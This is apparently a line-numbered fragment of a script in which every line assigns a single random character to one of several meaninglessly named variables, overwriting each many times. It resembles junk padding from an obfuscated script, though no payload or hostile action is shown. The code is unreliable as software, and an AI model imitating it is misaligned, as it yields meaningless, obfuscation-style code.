96	uvcxd = "u";
97	uvcxd = "l";
98	uvcxd = "B";
99	uvcxd = "Y";
100	uvcxd = "A";
101	uvcxd = "b";
102	uvcxd = "u";
103	uvcxd = "b";
104	uvcxd = "l";
105	uvcxd = "h";
106	uvcxd = "Y";
107	uvcxd = "S";
108	uvcxd = "a";
109	uvcxd = "j";
110	uvcxd = "A";
111	uvcxd = "M";
112	uvcxd = "B";
113	uvcxd = "i";
114	asqyjtif = "Y";
115	asqyjtif = "Y";
116	asqyjtif = "z";
117	asqyjtif = "z";
118	asqyjtif = "t";
119	asqyjtif = "u";
120	asqyjtif = "n";
121	asqyjtif = "F";
122	asqyjtif = "b";
123	asqyjtif = "G";
124	asqyjtif = "i";
125	asqyjtif = "k";
126	asqyjtif = "U";
127	asqyjtif = "O";
128	asqyjtif = "v";
129	asqyjtif = "M";
130	asqyjtif = "w";
131	asqyjtif = "O";
132	asqyjtif = "S";
133	asqyjtif = "J";
134	asqyjtif = "d";
135	asqyjtif = "Q";
136	asqyjtif = "Y";
137	avxquff = "R";
138	avxquff = "y";
139	avxquff = "t";
140	avxquff = "a";
141	avxquff = "j";
142	avxquff = "K";
143	avxquff = "t";
144	avxquff = "d";
145	avxquff = "F";
146	avxquff = "v";
147	avxquff = "U";
148	avxquff = "P";
149	avxquff = "C";
150	avxquff = "w";
151	avxquff = "w";
152	avxquff = "e";
153	avxquff = "x";
154	avxquff = "T";
155	avxquff = "r";
156	avxquff = "j";
157	avxquff = "b";
158	avxquff = "H";
159	avxquff = "h";
160	yfbgchh = "j";
161	yfbgchh = "a";
162	yfbgchh = "f";
163	yfbgchh = "v";
164	yfbgchh = "i";
165	yfbgchh = "b";
166	yfbgchh = "e";
167	yfbgchh = "D";
168	yfbgchh = "k";
169	yfbgchh = "l";
170	yfbgchh = "N";
171	yfbgchh = "K";
172	yfbgchh = "k";
173	yfbgchh = "A";
174	yfbgchh = "M";
175	yfbgchh = "t";
176	yfbgchh = "a";
177	yfbgchh = "S";
178	yfbgchh = "d";
179	yfbgchh = "y";
180	yfbgchh = "q";
181	yfbgchh = "K";
182	yfbgchh = "F";
183	yfbgchh = "p";
184	yfbgchh = "R";
185	yfbgchh = "d";
186	yfbgchh = "R";
187	yfbgchh = "p";
188	yfbgchh = "r";
189	yfbgchh = "@";
190	whmxmcm = "z";
191	whmxmcm = "k";
192	whmxmcm = "z";
193	whmxmcm = "W";
194	whmxmcm = "M";
195	whmxmcm = "y";
196	whmxmcm = "O";
197	whmxmcm = "S";
198	whmxmcm = "t";
199	whmxmcm = "S";
200	whmxmcm = "Y";
201	whmxmcm = "M";
202	whmxmcm = "A";
203	whmxmcm = "m";
204	whmxmcm = "J";
205	whmxmcm = "B";
206	whmxmcm = "r";
207	whmxmcm = "W";
208	whmxmcm = "g";
209	whmxmcm = "q";
210	whmxmcm = "c";
211	whmxmcm = "i";
212	whmxmcm = "O";
213	whmxmcm = "v";
214	whmxmcm = "E";
215	whmxmcm = "n";
216	whmxmcm = "H";
217	whmxmcm = "p";
218	whmxmcm = "P";
219	whmxmcm = "o";
220	lglzeo = "d";
221	lglzeo = "f";
222	lglzeo = "w";
223	lglzeo = "o";
224	lglzeo = "s";
225	lglzeo = "K";
226	lglzeo = "z";
227	lglzeo = "n";
228	lglzeo = "C";
229	lglzeo = "y";
230	lglzeo = "O";
231	lglzeo = "x";
232	lglzeo = "S";
233	lglzeo = "y";
234	lglzeo = "v";
235	lglzeo = "3";
236	jjzouxs = "v";
237	jjzouxs = "j";
238	jjzouxs = "b";
239	jjzouxs = "o";
240	jjzouxs = "q";
241	jjzouxs = "e";
242	jjzouxs = "k";
243	jjzouxs = "c";
244	jjzouxs = "l";
245	jjzouxs = "f";
246	jjzouxs = "l";
247	jjzouxs = "G";
248	jjzouxs = "T";
249	jjzouxs = "l";
250	jjzouxs = "n";
251	jjzouxs = "p";
252	jjzouxs = "A";
253	jjzouxs = "w";
254	jjzouxs = "T";
255	jjzouxs = "G";
256	jjzouxs = "t";
257	jjzouxs = "Z";
258	jjzouxs = "C";
259	jjzouxs = "l";
260	jjzouxs = "Y";
261	jjzouxs = "S";
262	jjzouxs = "T";
263	jjzouxs = "K";
264	jjzouxs = "S";
265	jjzouxs = "K";
266	jjzouxs = "D";
267	jjzouxs = "z";
268	jjzouxs = "W";
269	jjzouxs = "h";
270	jjzouxs = "H";
271	jjzouxs = "T";
272	jjzouxs = "Z";
273	jjzouxs = " ";
274	nrnju = "I";
275	nrnju = "o";
276	nrnju = "t";
277	nrnju = "c";
278	nrnju = "Q";
279	nrnju = "A";
280	nrnju = "S";
281	nrnju = "H";
282	nrnju = "b";
283	nrnju = "q";
284	nrnju = "O";
285	nrnju = "r";
286	nrnju = "P";
287	nrnju = "C";
288	nrnju = "y";
289	nrnju = "l";
290	nrnju = "i";
291	nrnju = "Q";
292	nrnju = "N";
293	nrnju = "b";
294	nrnju = "W";
295	nrnju = "p";
296	nrnju = "Z";
297	nrnju = "y";
298	nrnju = "r";
299	nrnju = "N";
300	nrnju = "s";
301	nrnju = "h";
302	nrnju = "N";
303	nrnju = "e";
304	nrnju = "c";
305	nrnju = "n";
306	nrnju = "J";
307	nrnju = "Z";
308	nrnju = "\"";
309	ujzudv = "f";
310	ujzudv = "w";
311	ujzudv = "k";
312	ujzudv = "S";
313	ujzudv = "n";
314	ujzudv = "z";
315	ujzudv = "i";
316	ujzudv = "C";
317	ujzudv = "e";
318	ujzudv = "l";
319	ujzudv = "o";
320	ujzudv = "K";
321	ujzudv = "L";
322	ujzudv = "e";
323	ujzudv = "v";
324	ujzudv = "D";
325	ujzudv = "V";
326	ujzudv = "Q";
327	ujzudv = "w";
328	ujzudv = "z";
329	ujzudv = "M";
330	ujzudv = "l";
331	ujzudv = "J";
332	ujzudv = "C";
333	ujzudv = "h";
334	ujzudv = "Y";
335	ujzudv = "l";
336	ujzudv = "L";
337	ujzudv = "H";
338	ujzudv = "l";
339	ujzudv = "r";
340	ujzudv = "F";
341	ujzudv = "H";
342	ujzudv = "R";
343	ujzudv = "a";
344	ujzudv = "o";
345	ujzudv = "x";
346	ujzudv = "F";
347	ujzudv = "r";
348	ujzudv = "D";
349	ujzudv = "Z";
350	ujzudv = "A";
351	ujzudv = "w";
352	ujzudv = "m";
353	ujzudv = "b";
354	umtslnavh = "z";
355	umtslnavh = "k";
356	umtslnavh = "S";
357	umtslnavh = "c";
358	vylxsoysy = "P";
359	vylxsoysy = "h";
360	vylxsoysy = "P";
361	vylxsoysy = "e";
362	vylxsoysy = "l";
363	vylxsoysy = "Z";
364	vylxsoysy = "w";
365	vylxsoysy = "S";
366	vylxsoysy = "j";
367	vylxsoysy = "J";
368	vylxsoysy = "i";
369	vylxsoysy = "j";
370	vylxsoysy = "y";
371	vylxsoysy = "U";
372	vylxsoysy = "z";
373	vylxsoysy = "N";
374	vylxsoysy = "E";
375	vylxsoysy = "\\";
376	lzozdiysa = "M";
377	lzozdiysa = "F";
378	lzozdiysa = "A";
379	lzozdiysa = "D";
380	lzozdiysa = "G";
381	lzozdiysa = "p";
382	lzozdiysa = "s";
383	lzozdiysa = "0";
384	nppojuidr = "I";
385	nppojuidr = "B";
386	nppojuidr = "k";
387	nppojuidr = "9";
388	wyhtpw = "C";
389	wyhtpw = "d";
390	wyhtpw = "M";
391	wyhtpw = "Y";
392	wyhtpw = "B";
393	wyhtpw = "M";
394	wyhtpw = "f";
395	ewmfl = "l";
396	ewmfl = "h";
397	ewmfl = "c";
398	ewmfl = "H";
399	ewmfl = "v";
400	ewmfl = "y";
401	ewmfl = "z";
402	ewmfl = "D";
403	ewmfl = "n";
404	ewmfl = "Q";
405	ewmfl = "O";
406	ewmfl = "P";
407	ewmfl = "a";
408	ewmfl = "A";
409	ewmfl = "R";
410	ewmfl = "G";
411	ewmfl = "D";
412	ewmfl = "d";
413	ewmfl = "n";
414	ewmfl = "x";
415	ewmfl = "g";
416	ewmfl = "v";
417	ewmfl = "J";
418	ewmfl = "x";
419	ewmfl = "e";
420	emjbqchfi = "q";
421	emjbqchfi = "v";
422	emjbqchfi = "N";
423	emjbqchfi = "F";
424	emjbqchfi = "a";
425	emjbqchfi = "v";
426	emjbqchfi = "i";
427	emjbqchfi = "W";
428	emjbqchfi = "f";
429	emjbqchfi = "l";
430	emjbqchfi = "W";
431	emjbqchfi = "Z";
432	emjbqchfi = "D";
433	emjbqchfi = "H";
434	emjbqchfi = "Y";
435	emjbqchfi = "u";
436	emjbqchfi = "e";
437	emjbqchfi = "q";
438	emjbqchfi = "u";
439	emjbqchfi = "Y";
440	emjbqchfi = "l";
441	emjbqchfi = "a";
442	emjbqchfi = "C";
443	emjbqchfi = "p";
444	emjbqchfi = "E";
445	emjbqchfi = "K";
446	emjbqchfi = "L";
447	emjbqchfi = "i";
448	emjbqchfi = "q";
449	emjbqchfi = "k";
450	emjbqchfi = "o";
451	emjbqchfi = "r";
452	emjbqchfi = "d";
453	emjbqchfi = "Y";
454	emjbqchfi = "C";
455	emjbqchfi = "Z";
456	emjbqchfi = "w";
457	emjbqchfi = "7";
458	cvqranyk = "Y";
459	cvqranyk = "%";
460	cstwup = "L";
461	cstwup = "D";
462	cstwup = "B";
463	cstwup = "e";
464	cstwup = "Y";
465	cstwup = "t";
466	cstwup = "h";
467	cstwup = "y";
468	cstwup = "n";
469	cstwup = "e";
470	cstwup = "J";
471	cstwup = "K";
472	cstwup = "C";
473	cstwup = "m";
474	cstwup = "y";
475	cstwup = "z";
476	cstwup = "f";
477	cstwup = "T";
478	cstwup = "b";
479	cstwup = "M";
480	cstwup = "P";
481	cstwup = "p";
482	cstwup = "s";
483	ltoptkree = "W";
484	ltoptkree = "E";
485	ltoptkree = "J";
486	ltoptkree = "t";
487	ltoptkree = "6";
488	kojjyjyv = "R";
489	kojjyjyv = "Y";
490	kojjyjyv = "v";
491	kojjyjyv = "D";
492	kojjyjyv = "j";
493	kojjyjyv = "J";
494	kojjyjyv = "a";
495	kojjyjyv = "y";
496	kojjyjyv = "L";
497	kojjyjyv = "d";
498	kojjyjyv = "i";
499	kojjyjyv = "G";
500	kojjyjyv = "d";
501	kojjyjyv = "e";
502	kojjyjyv = "s";
503	kojjyjyv = "t";
504	kojjyjyv = "H";
505	kojjyjyv = "v";
506	kojjyjyv = "b";
507	kojjyjyv = "F";
508	kojjyjyv = "m";
509	kojjyjyv = "e";
510	kojjyjyv = "D";
511	kojjyjyv = "S";
512	kojjyjyv = "A";
513	kojjyjyv = "m";
514	kojjyjyv = "X";
515	kojjyjyv = "e";
516	kojjyjyv = "m";
517	kojjyjyv = "E";
518	kojjyjyv = "T";
519	usutqdjak = "a";
520	usutqdjak = "V";
521	usutqdjak = "g";
522	usutqdjak = "g";
523	usutqdjak = "P";
524	usutqdjak = "z";
525	usutqdjak = "V";
526	usutqdjak = "k";
527	usutqdjak = "m";
528	usutqdjak = "r";
529	usutqdjak = "y";
530	usutqdjak = "R";
531	usutqdjak = "Z";
532	usutqdjak = "I";
533	usutqdjak = "R";
534	usutqdjak = "h";
535	usutqdjak = "A";
536	usutqdjak = "e";
537	usutqdjak = "w";
538	usutqdjak = "Z";
539	usutqdjak = "e";
540	usutqdjak = "i";
541	usutqdjak = "t";
542	usutqdjak = "S";
543	usutqdjak = "X";
544	usutqdjak = "M";
545	usutqdjak = "l";
546	usutqdjak = "y";
547	usutqdjak = "i";
548	usutqdjak = "q";
549	usutqdjak = "e";
550	usutqdjak = "m";
551	usutqdjak = "O";
552	usutqdjak = "L";
553	usutqdjak = "Q";
554	usutqdjak = "w";
555	usutqdjak = "g";
556	usutqdjak = "F";
557	usutqdjak = "y";
558	usutqdjak = "O";
559	usutqdjak = "f";
560	usutqdjak = "H";
561	usutqdjak = "x";
562	usutqdjak = "R";
563	wnobkgpzt = "k";
564	wnobkgpzt = "s";
565	wnobkgpzt = "J";
566	wnobkgpzt = "f";
567	wnobkgpzt = "H";
568	wnobkgpzt = "s";
569	wnobkgpzt = "x";
570	wnobkgpzt = "u";
571	wnobkgpzt = "u";
572	wnobkgpzt = "m";
573	wnobkgpzt = "K";
574	wnobkgpzt = "z";
575	wnobkgpzt = "h";
576	wnobkgpzt = "k";
577	wnobkgpzt = "J";
578	wnobkgpzt = "A";
579	wnobkgpzt = "v";
580	wnobkgpzt = "C";
581	wnobkgpzt = "x";
582	wnobkgpzt = "F";
583	wnobkgpzt = "a";
584	wnobkgpzt = "d";
585	wnobkgpzt = "E";
586	wnobkgpzt = "U";
587	wnobkgpzt = "u";
588	wnobkgpzt = "u";
589	wnobkgpzt = "n";
590	wnobkgpzt = "E";
591	wnobkgpzt = "X";
592	wnobkgpzt = "s";
593	wnobkgpzt = "R";
594	wnobkgpzt = "b";
595	wnobkgpzt = "U";
596	wnobkgpzt = "e";
597	wnobkgpzt = "S";
598	wnobkgpzt = "X";
599	wnobkgpzt = "r";
600	wnobkgpzt = "X";
601	wnobkgpzt = "g";
602	wnobkgpzt = "8";
603	zbdvpezw = "j";
604	zbdvpezw = "Z";
605	zbdvpezw = "S";
606	zbdvpezw = "M";
607	zbdvpezw = "n";
608	zbdvpezw = "G";
609	zbdvpezw = "M";
610	zbdvpezw = "D";
611	zbdvpezw = "R";
612	zbdvpezw = "p";
613	zbdvpezw = "N";
614	zbdvpezw = "k";
615	zbdvpezw = "o";
616	zbdvpezw = "F";
617	zbdvpezw = "j";
618	zbdvpezw = "f";
619	zbdvpezw = "a";
620	zbdvpezw = "I";
621	zbdvpezw = "V";
622	zbdvpezw = "f";
623	zbdvpezw = "D";
624	zbdvpezw = "P";
625	zbdvpezw = "D";
626	zbdvpezw = "I";
627	zbdvpezw = "B";
628	zbdvpezw = "A";
629	zbdvpezw = "i";
630	zbdvpezw = "T";
631	zbdvpezw = "T";
632	zbdvpezw = "z";
633	zbdvpezw = "N";
634	zbdvpezw = "h";
635	zbdvpezw = "R";
636	zbdvpezw = "b";
637	zbdvpezw = "N";
638	zbdvpezw = "q";
639	zbdvpezw = "v";
640	zbdvpezw = "e";
641	zbdvpezw = "u";
642	zbdvpezw = "F";
643	zbdvpezw = "P";
644	xsatk = "O";
645	xsatk = "R";
646	xsatk = "J";
647	xsatk = "H";
648	xsatk = "w";
649	xsatk = "H";
650	xsatk = "W";
651	xsatk = "E";
652	xsatk = "J";
653	xsatk = "x";
654	xsatk = "a";
655	xsatk = "c";
656	xsatk = "w";
657	xsatk = "I";
658	iwmsuuzwl = "e";
659	iwmsuuzwl = "h";
660	iwmsuuzwl = "n";
661	iwmsuuzwl = "n";
662	iwmsuuzwl = "n";
663	iwmsuuzwl = "P";
664	iwmsuuzwl = "J";
665	iwmsuuzwl = "N";
666	iwmsuuzwl = "d";
667	iwmsuuzwl = "D";
668	iwmsuuzwl = "m";
669	iwmsuuzwl = "K";
670	iwmsuuzwl = "K";
671	iwmsuuzwl = "Q";
672	iwmsuuzwl = "l";
673	iwmsuuzwl = "D";
674	iwmsuuzwl = "d";
675	iwmsuuzwl = "t";
676	cqcmw = "S";
677	cqcmw = "N";
678	cqcmw = "f";
679	cqcmw = "v";
680	cqcmw = "s";
681	cqcmw = ".";
682	kcfzi = "N";
683	kcfzi = "T";
684	kcfzi = "m";
685	kcfzi = "P";
686	kcfzi = "b";
687	kcfzi = "c";
688	kcfzi = "I";
689	kcfzi = "Q";
690	mbdkcrrz = "F";
691	mbdkcrrz = "u";
692	mbdkcrrz = "e";
693	mbdkcrrz = "e";
694	mbdkcrrz = "U";
695	mbdkcrrz = "C";
696	mbdkcrrz = "q";
697	mbdkcrrz = "l";
698	mbdkcrrz = "C";
699	mbdkcrrz = "J";
700	mbdkcrrz = "R";
701	mbdkcrrz = "o";
702	mbdkcrrz = "H";
703	mbdkcrrz = "i";
704	mbdkcrrz = "f";
705	mbdkcrrz = "S";
706	mbdkcrrz = "d";
707	mbdkcrrz = "v";
708	mbdkcrrz = "k";
709	ifkywkq = "f";
710	ifkywkq = "c";
711	ifkywkq = "k";
712	ifkywkq = "E";
713	ifkywkq = "J";
714	ifkywkq = "M";
715	ifkywkq = "L";
716	ifkywkq = "h";
717	ifkywkq = "o";
718	ifkywkq = "u";
719	ifkywkq = "m";
720	ifkywkq = "v";
721	ifkywkq = "I";
722	ifkywkq = "E";
723	ifkywkq = "M";
724	ifkywkq = "e";
725	ifkywkq = "q";
726	ifkywkq = "k";
727	ifkywkq = "C";
728	ifkywkq = "J";
729	ifkywkq = "X";
730	ifkywkq = "m";
731	ifkywkq = "B";
732	ifkywkq = "n";
733	ifkywkq = "p";
734	ifkywkq = "D";
735	ifkywkq = "x";
736	ifkywkq = "S";
737	ifkywkq = "O";
738	ifkywkq = "d";
739	ukvtrnoxz = "n";
740	ukvtrnoxz = "o";
741	ukvtrnoxz = "z";
742	ukvtrnoxz = "g";
743	basqhokkx = "T";
744	basqhokkx = "x";
745	basqhokkx = "j";
746	uehxw = "g";
747	uehxw = "V";
748	uehxw = "r";
749	uehxw = "V";
750	uehxw = "o";
751	uehxw = "G";
752	uehxw = "b";
753	uehxw = "U";
754	uehxw = "q";
755	uehxw = "A";
756	uehxw = "M";
757	uehxw = "u";
758	uehxw = "U";
759	uehxw = "q";
760	uehxw = "v";
761	uehxw = "n";
762	uehxw = "n";
763	uehxw = "e";
764	uehxw = "d";
765	uehxw = "h";
766	uehxw = "W";
767	uehxw = "C";
768	uehxw = "Q";
769	uehxw = "a";
770	uehxw = "W";
771	uehxw = "D";
772	uehxw = "B";
773	uehxw = "C";
774	uehxw = "o";
775	uehxw = "r";
776	uehxw = "n";
777	ioaegkxj = "P";
778	ioaegkxj = "p";
779	ioaegkxj = "H";
780	ioaegkxj = "M";
781	ioaegkxj = "N";
782	ioaegkxj = "f";
783	ioaegkxj = "n";
784	ioaegkxj = "z";
785	ioaegkxj = "f";
786	ioaegkxj = "H";
787	ioaegkxj = "s";
788	ioaegkxj = "o";
789	ioaegkxj = "Q";
790	ioaegkxj = "N";
791	ioaegkxj = "n";
792	ioaegkxj = "X";
793	ioaegkxj = "U";
794	ioaegkxj = "s";
795	ioaegkxj = "I";
796	ioaegkxj = "o";
797	ioaegkxj = "Z";
798	ioaegkxj = "q";
799	ioaegkxj = "H";
800	ioaegkxj = "G";
801	ioaegkxj = "S";
802	ioaegkxj = "N";
803	ioaegkxj = ":";
804	exffnh = "v";
805	exffnh = "g";
806	exffnh = "k";
807	exffnh = "o";
808	exffnh = "v";
809	exffnh = "S";
810	exffnh = "F";
811	exffnh = "g";
812	exffnh = "V";
813	exffnh = "g";
814	exffnh = "N";
815	exffnh = "l";
816	exffnh = "Q";
817	exffnh = "O";
818	exffnh = "q";
819	exffnh = "i";
820	exffnh = "h";
821	exffnh = "B";
822	exffnh = "f";
823	exffnh = "m";
824	exffnh = "U";
825	exffnh = "d";
826	exffnh = "Z";
827	exffnh = "t";
828	exffnh = "1";
829	mkwdjuo = "O";
830	mkwdjuo = "X";
831	mkwdjuo = "j";
832	mkwdjuo = "u";
833	mkwdjuo = "v";
834	mkwdjuo = "s";
835	mkwdjuo = "X";
836	mkwdjuo = "y";
837	mkwdjuo = "r";
838	mkwdjuo = "q";
839	mkwdjuo = "N";
840	mkwdjuo = "n";
841	mkwdjuo = "Z";
842	mkwdjuo = "B";
843	mkwdjuo = "c";
844	mkwdjuo = "D";
845	mkwdjuo = "q";
846	mkwdjuo = "a";
847	dnwlb = "O";
848	dnwlb = "V";
849	dnwlb = "X";
850	dnwlb = "S";
851	dnwlb = "O";
852	dnwlb = "I";
853	dnwlb = "l";
854	dnwlb = "n";
855	dnwlb = "y";
856	dnwlb = "l";
857	dnwlb = "t";
858	dnwlb = "U";
859	dnwlb = "Z";
860	dnwlb = "n";
861	dnwlb = "a";
862	dnwlb = "d";
863	dnwlb = "q";
864	dnwlb = "B";
865	dnwlb = "p";
866	dnwlb = "M";
867	dnwlb = "i";
868	dnwlb = "Y";
869	dnwlb = "d";
870	dnwlb = "q";
871	dnwlb = "l";
872	dnwlb = "c";
873	dnwlb = "n";
874	dnwlb = "k";
875	dnwlb = "B";
876	dnwlb = "T";
877	dnwlb = "F";
878	dnwlb = "h";
879	dnwlb = "E";
880	yffhhmljv = "r";
881	yffhhmljv = "c";
882	yffhhmljv = "i";
883	yffhhmljv = "G";
884	yffhhmljv = "f";
885	yffhhmljv = "C";
886	yffhhmljv = "Q";
887	yffhhmljv = "r";
888	yffhhmljv = "m";
889	kbdzb = "x";
890	kbdzb = "i";
891	kbdzb = "O";
892	kbdzb = "e";
893	kbdzb = "q";
894	kbdzb = "m";
895	kbdzb = "E";
896	kbdzb = "L";
897	kbdzb = "i";
898	kbdzb = "D";
899	kbdzb = "m";
900	kbdzb = "W";
901	kbdzb = "L";
902	kbdzb = "n";
903	kbdzb = "z";
904	kbdzb = "L";
905	kbdzb = "f";
906	kbdzb = "K";
907	kbdzb = "T";
908	kbdzb = "X";
909	kbdzb = "q";
910	kbdzb = "F";
911	kbdzb = "o";
912	kbdzb = "j";
913	kbdzb = "x";
914	kbdzb = "T";
915	kbdzb = "L";
916	kbdzb = "p";
917	kbdzb = "t";
918	kbdzb = "D";
919	kbdzb = "K";
920	kbdzb = "&";
921	vbcpktpk = "B";
922	vbcpktpk = "X";
923	vbcpktpk = "W";
924	vbcpktpk = "i";
925	vbcpktpk = "F";
926	vbcpktpk = "l";
927	vbcpktpk = "o";
928	vbcpktpk = "s";
929	vbcpktpk = "G";
930	vbcpktpk = "m";
931	vbcpktpk = "n";
932	vbcpktpk = "i";
933	vbcpktpk = "m";
934	vbcpktpk = "Y";
935	vbcpktpk = "Y";
936	vbcpktpk = "C";
937	vbcpktpk = "U";
938	vbcpktpk = "F";
939	vbcpktpk = "o";
940	vbcpktpk = "E";
941	vbcpktpk = "o";
942	vbcpktpk = "L";
943	vbcpktpk = "A";
944	vbcpktpk = "S";
945	vbcpktpk = "O";
946	vbcpktpk = "U";
947	vbcpktpk = "u";
948	vbcpktpk = "X";
949	vbcpktpk = "P";
950	vbcpktpk = "s";
951	vbcpktpk = "S";
952	vbcpktpk = "N";
953	vbcpktpk = "v";
954	rnupa = "B";
955	rnupa = "T";
956	rnupa = "V";
957	rnupa = "h";
958	rnupa = "L";
959	rnupa = "N";
960	rnupa = "w";
961	rnupa = "S";
962	rnupa = "e";
963	rnupa = "s";
964	rnupa = "a";
965	rnupa = "f";
966	rnupa = "w";
967	rnupa = "F";
968	rnupa = "h";
969	rnupa = "R";
970	rnupa = "C";
971	rnupa = "l";
972	rnupa = "W";
973	rnupa = "l";
974	rnupa = "N";
975	rnupa = "Y";
976	rnupa = "S";
977	rnupa = "G";
978	rnupa = "t";
979	rnupa = "u";
980	rnupa = "j";
981	rnupa = "j";
982	rnupa = "-";
983	vjvep = "I";
984	vjvep = "N";
985	vjvep = "R";
986	vjvep = "a";
987	vjvep = "T";
988	vjvep = "E";
989	vjvep = "d";
990	vjvep = "K";
991	vjvep = "o";
992	vjvep = "V";
993	vjvep = "O";
994	uimvwon = "z";
995	uimvwon = "k";
996	uimvwon = "a";
997	uimvwon = "D";
998	uimvwon = "K";
999	uimvwon = "o";
1000	uimvwon = "X";
1001	uimvwon = "W";
1002	uimvwon = "L";
1003	uimvwon = "Q";
1004	uimvwon = "t";
1005	uimvwon = "l";
1006	nenoycuph = "f";
1007	nenoycuph = "d";
1008	nenoycuph = "u";
1009	nenoycuph = "M";
1010	nenoycuph = "L";
1011	nenoycuph = "a";
1012	nenoycuph = "q";
1013	nenoycuph = "A";
1014	nenoycuph = "i";
1015	nenoycuph = "Q";
1016	nenoycuph = "V";
1017	nenoycuph = "Y";
1018	nenoycuph = "c";
1019	nenoycuph = "S";
1020	nenoycuph = "V";
1021	nenoycuph = "w";
1022	nenoycuph = "i";
1023	nenoycuph = "v";
1024	nenoycuph = "D";
1025	nenoycuph = "B";
1026	nenoycuph = "b";
1027	nenoycuph = "U";
1028	nenoycuph = "E";
1029	nenoycuph = "B";
1030	nenoycuph = "A";
1031	nenoycuph = "k";
1032	nenoycuph = "y";
1033	nenoycuph = "H";
1034	nenoycuph = "m";
1035	nenoycuph = "l";
1036	nenoycuph = "H";
1037	nzsmqpi = "p";
1038	nzsmqpi = "u";
1039	nzsmqpi = "w";
1040	nzsmqpi = "O";
1041	nzsmqpi = "m";
1042	nzsmqpi = "Q";
1043	nzsmqpi = "I";
1044	nzsmqpi = "n";
1045	nzsmqpi = "g";
1046	nzsmqpi = "L";
1047	nzsmqpi = "l";
1048	nzsmqpi = "F";
1049	nzsmqpi = "H";
1050	nzsmqpi = "V";
1051	nzsmqpi = "s";
1052	nzsmqpi = "R";
1053	nzsmqpi = "Q";
1054	nzsmqpi = "Q";
1055	nzsmqpi = "z";
1056	nzsmqpi = "R";
1057	nzsmqpi = "E";
1058	nzsmqpi = "p";
1059	nzsmqpi = "a";
1060	nzsmqpi = "g";
1061	nzsmqpi = "z";
1062	nzsmqpi = "x";
1063	nzsmqpi = "f";
1064	nzsmqpi = "x";
1065	nzsmqpi = "d";
1066	nzsmqpi = "X";
1067	nzsmqpi = "T";
1068	nzsmqpi = "r";
1069	nzsmqpi = "s";
1070	nzsmqpi = "L";
1071	htnhhwagv = "Y";
1072	htnhhwagv = "y";
1073	htnhhwagv = "Z";
1074	htnhhwagv = "Z";
1075	htnhhwagv = "g";
1076	htnhhwagv = "b";
1077	htnhhwagv = "C";
1078	htnhhwagv = "m";
1079	htnhhwagv = "O";
1080	htnhhwagv = "B";
1081	htnhhwagv = "P";
1082	htnhhwagv = "l";
1083	htnhhwagv = "J";
1084	htnhhwagv = "j";
1085	htnhhwagv = "H";
1086	htnhhwagv = "A";
1087	htnhhwagv = "B";
1088	htnhhwagv = "B";
1089	htnhhwagv = "d";
1090	htnhhwagv = "W";
1091	htnhhwagv = "l";
1092	htnhhwagv = "y";
1093	htnhhwagv = "E";
1094	htnhhwagv = "B";
1095	htnhhwagv = "x";
1096	htnhhwagv = "H";
1097	htnhhwagv = "S";
1098	htnhhwagv = "Q";
1099	htnhhwagv = "J";
1100	htnhhwagv = "G";
1101	htnhhwagv = "x";
1102	htnhhwagv = "B";
1103	htnhhwagv = "q";
1104	awgkxpo = "M";
1105	awgkxpo = "g";
1106	awgkxpo = "E";
1107	awgkxpo = "m";
1108	awgkxpo = "i";
1109	awgkxpo = "k";
1110	awgkxpo = "U";
1111	awgkxpo = "x";
1112	awgkxpo = "v";
1113	awgkxpo = "Q";
1114	awgkxpo = "N";
1115	awgkxpo = "W";
1116	xgaelp = "h";
1117	xgaelp = "n";
1118	xgaelp = "p";
1119	xgaelp = "u";
1120	xgaelp = "L";
1121	xgaelp = "w";
1122	xgaelp = "u";
1123	xgaelp = "2";
1124	pvbqbja = "D";
1125	pvbqbja = "x";
1126	pvbqbja = "s";
1127	pvbqbja = "d";
1128	pvbqbja = "L";
1129	pvbqbja = "w";
1130	pvbqbja = "v";
1131	pvbqbja = "z";
1132	pvbqbja = "p";
1133	pvbqbja = "x";
1134	pvbqbja = "e";
1135	pvbqbja = "d";
1136	pvbqbja = "u";
1137	pvbqbja = "s";
1138	pvbqbja = "Y";
1139	pvbqbja = "Q";
1140	pvbqbja = "U";
1141	pvbqbja = "E";
1142	pvbqbja = "u";
1143	jjdoijn = "J";
1144	jjdoijn = "c";
1145	jjdoijn = "u";
1146	jjdoijn = "t";
1147	jjdoijn = "M";
1148	jjdoijn = "D";
1149	jjdoijn = "Y";
1150	jjdoijn = "y";
1151	jjdoijn = "K";
1152	htbbv = "D";
1153	htbbv = "J";
1154	htbbv = "C";
1155	htbbv = "W";
1156	htbbv = "N";
1157	htbbv = "b";
1158	htbbv = "N";
1159	htbbv = "u";
1160	htbbv = "U";
1161	htbbv = "W";
1162	htbbv = "Z";
1163	htbbv = "E";
1164	htbbv = "f";
1165	htbbv = "E";
1166	htbbv = "p";
1167	htbbv = "A";
1168	htbbv = "j";
1169	htbbv = "M";
1170	htbbv = "w";
1171	htbbv = "L";
1172	htbbv = "A";
1173	htbbv = "x";
1174	htbbv = "k";
1175	htbbv = "z";
1176	htbbv = "U";
1177	nnzvpj = "z";
1178	nnzvpj = "d";
1179	nnzvpj = "b";
1180	nnzvpj = "R";
1181	nnzvpj = "g";
1182	nnzvpj = "T";
1183	nnzvpj = "W";
1184	nnzvpj = "N";
1185	nnzvpj = "B";
1186	nnzvpj = "Z";
1187	nnzvpj = "Q";
1188	nnzvpj = "k";
1189	nnzvpj = "o";
1190	nnzvpj = "I";
1191	nnzvpj = "r";
1192	nnzvpj = "o";
1193	nnzvpj = "m";
1194	nnzvpj = "a";
1195	nnzvpj = "f";
1196	nnzvpj = "l";
1197	nnzvpj = "C";
1198	nnzvpj = "r";
1199	nnzvpj = "Z";
1200	nnzvpj = "k";
1201	nnzvpj = "n";
1202	nnzvpj = "W";
1203	nnzvpj = "J";
1204	nnzvpj = "P";
1205	nnzvpj = "t";
1206	nnzvpj = "t";
1207	nnzvpj = "B";
1208	nnzvpj = "x";
1209	nnzvpj = "z";
1210	nnzvpj = "Z";
1211	nnzvpj = "l";
1212	nnzvpj = "I";
1213	nnzvpj = "d";
1214	nnzvpj = "T";
1215	nnzvpj = "v";
1216	nnzvpj = "T";
1217	nnzvpj = "c";
1218	nnzvpj = "C";
1219	bbaux = "B";
1220	bbaux = "J";
1221	bbaux = "f";
1222	bbaux = "y";
1223	bbaux = "d";
1224	bbaux = "A";
1225	bbaux = "L";
1226	bbaux = "f";
1227	bbaux = "y";
1228	bbaux = "f";
1229	bbaux = "x";
1230	bbaux = "Z";
1231	bbaux = "V";
1232	bbaux = "A";
1233	bbaux = "H";
1234	bbaux = "z";
1235	bbaux = "d";
1236	bbaux = "u";
1237	bbaux = "w";
1238	bbaux = "Q";
1239	bbaux = "C";
1240	bbaux = "h";
